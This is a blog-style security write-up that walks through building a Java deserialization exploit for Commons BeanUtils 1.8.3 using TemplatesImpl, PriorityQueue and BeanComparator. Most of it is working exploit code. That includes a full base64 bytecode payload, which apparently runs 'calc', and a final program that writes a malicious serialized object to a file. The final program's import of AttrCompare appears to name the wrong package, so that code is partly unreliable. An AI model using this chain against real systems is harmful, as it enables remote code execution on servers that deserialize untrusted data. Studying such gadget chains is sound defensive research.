Exploiting Commons BeanUtils 1.8.3 for Java Deserialization Attacks

Environment and Dependencies

  • JDK: 8u66
  • Commons BeanUtils: 1.8.3 (the final POC also works with 1.9.2; exact version depends on the target server)
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

Core Analysis

Commons BeanUtils enhances Java Beans by providing dynamic property access. For example, PropertyUtils.getProperty(person, "name") internally calls the bean's getName() method via reflection.

By tracing the execution, getSimpleProperty retrieves a PropertyDescriptor that contains the getName and setName methodss, and finally invokeMethod triggers the getter through reflection.

The key insight: if we control an object whose get* method triggers dangerous behavior, we can chain it. In earlier CC3 research, TemplatesImpl.getOutputProperties() was identified as such a method — it invokes newTransformer(), which loads a malicious class. By connecting PropertyUtils.getProperty(templates, "outputProperties") to this, we achieve code execution.

Initial Proof of Concept

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?> clazz = TemplatesImpl.class;
        Field nameField = clazz.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a");

        Field bytecodesField = clazz.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evilBytes = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
        byte[][] templateBytes = {evilBytes};
        bytecodesField.set(templates, templateBytes);

        Field tfactoryField = clazz.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates, "outputProperties"); // triggers execution
        System.out.println(1); // not reached due to exception
    }
}

Constructing a Deserialization Chain

To make the exploit suitable for deserialization, we need a gadget that calls PropertyUtils.getProperty during deserialization. The java.util.PriorityQueue class, when deserialized, uses a Comparator to reorder its elements. If we set the copmarator to BeanComparator with property "outputProperties", the heapify step will call beanComparator.compare(templates, templates), which in turn calls PropertyUtils.getProperty(templates, "outputProperties").

How ever, simply adding the templates object to the queue triggers the chain immediately (during add), before serialization. To avoid this, we can temporarily replace the comparator with one that does nothing (e.g., TransformingComparator from Commons Collections) during construction, then swap it back via reflection after the queue is built.

Final Exploit Code

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.comparators.AttrCompare;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CBExploit {
    public static void main(String[] args) throws Exception {
        // Step 1: Prepare malicious TemplatesImpl
        TemplatesImpl tmpl = new TemplatesImpl();
        Class<?> tmplClass = tmpl.getClass();
        Field nameF = tmplClass.getDeclaredField("_name");
        nameF.setAccessible(true);
        nameF.set(tmpl, "x");

        Field bytecodesF = tmplClass.getDeclaredField("_bytecodes");
        bytecodesF.setAccessible(true);
        byte[] payload = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIA..." // truncated for brevity
        );
        byte[][] codeArr = {payload};
        bytecodesF.set(tmpl, codeArr);

        Field tfactoryF = tmplClass.getDeclaredField("_tfactory");
        tfactoryF.setAccessible(true);
        tfactoryF.set(tmpl, new TransformerFactoryImpl());

        // Step 2: Build PriorityQueue with a harmless comparator first
        BeanComparator realComparator = new BeanComparator("outputProperties", new AttrCompare());
        TransformingComparator dummyComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue<Object> queue = new PriorityQueue<>(dummyComparator);
        queue.add(tmpl);
        queue.add(tmpl); // two elements required for comparison

        // Step 3: Replace the comparator with the real one via reflection
        Field compField = PriorityQueue.class.getDeclaredField("comparator");
        compField.setAccessible(true);
        compField.set(queue, realComparator);

        // Step 4: Serialize and deserialize
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb.ser"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb.ser"));
        ois.readObject();
        ois.close();
    }
}

Tags: commons-beanutils java-deserialization templatesimpl priorityqueue beancomparator

Posted on Fri, 04 Sep 2026 16:18:10 +0000 by tylrwb